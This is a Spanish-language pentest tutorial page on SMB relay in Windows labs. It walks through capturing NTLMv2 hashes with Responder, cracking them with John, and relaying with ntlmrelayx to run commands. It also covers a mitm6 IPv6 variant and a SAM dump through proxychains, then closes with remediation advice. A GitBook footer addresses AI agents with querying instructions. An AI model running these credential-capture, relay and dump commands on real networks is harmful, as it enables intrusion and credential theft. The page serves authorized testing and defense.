> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# Relé SMB en entornos Windows

SMB relay captura la autenticación NTLM y la retransmite a otro host cuando la firma SMB no es obligatoria. Este flujo de trabajo está pensado para laboratorios Windows autorizados y evaluaciones internas.

## Condiciones a verificar

* La firma SMB no es obligatoria en al menos un objetivo.
* La cuenta capturada tiene acceso útil en un objetivo de retransmisión.
* Los servidores SMB y HTTP de Responder están deshabilitados cuando `ntlmrelayx` gestiona la retransmisión.
* Los objetivos de retransmisión se enumeran en `targets.txt`.

## Capturar NTLMv2 con Responder

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/6dec4b303b49166847d8c570cbd9b2a9542b961f" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Las redes Windows suelen generar autenticación automática a través del inventario de software, tareas de administración, acceso a recursos compartidos y resolución de nombres.

<figure><img src="/files/4950c53f87081f2ce517d3dd076466989adcfdc0" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/0013046fcf9f462f32eea9b02f506b9f01787e25" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## Cracking sin conexión

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/a9c33fa77d121c710d2a33b160a276c55011c454" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/bf6ee26127b8b4c739105f419b2a0114902f1116" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## Enumeración SMB

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/7d258d01134b2423a06a8f4abc2cd71e904c49af" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/21183548b2cbab9045ecf6f1ff3765bd21ea429f" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

Validar los permisos de la cuenta:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/0123d8a7509a9a5f71fd1efc44c89da795e02725" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## Retransmitir con ntlmrelayx

Deshabilitar SMB y HTTP en `Responder.conf`, luego ejecuta Responder:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Iniciar la retransmisión:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/8f6c991801a6c257e6be9029d6e8662a84c45f47" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/313810a288dfd326744a860e4f06dcd0e3cd9a93" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## Validación de ejecución de comandos mediante retransmisión

Cuando la ejecución de comandos esté dentro del alcance, valida primero la retransmisión con un comando de bajo impacto:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Para una prueba más clara, escribe el contexto de ejecución en un archivo temporal en el objetivo de retransmisión:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/d5d4390470ffbb376507cf4c0f58ddc3323e95cc" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/3180c4515e49ef409e229393483b03c8e8088c2a" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## Variante IPv6 con mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/ffd8f9885d5da56f49cb798f8ade67b890673719" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/287014819acda4f230ddcbae7269624d27662992" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

Retransmisión IPv6:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/e26a476b740c52b0a1236bce13b921e8904fed63" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

Usar la retransmisión a través del proxy:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## Puntos clave

* La retransmisión SMB depende principalmente de que la firma SMB no sea obligatoria.
* Responder y `ntlmrelayx` deben configurarse para que no compitan por el tráfico SMB o HTTP.
* Corrige exigiendo la firma SMB, reduciendo el uso de NTLM, supervisando el abuso de LLMNR/NBNS/WPAD y limitando los privilegios de administrador local.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
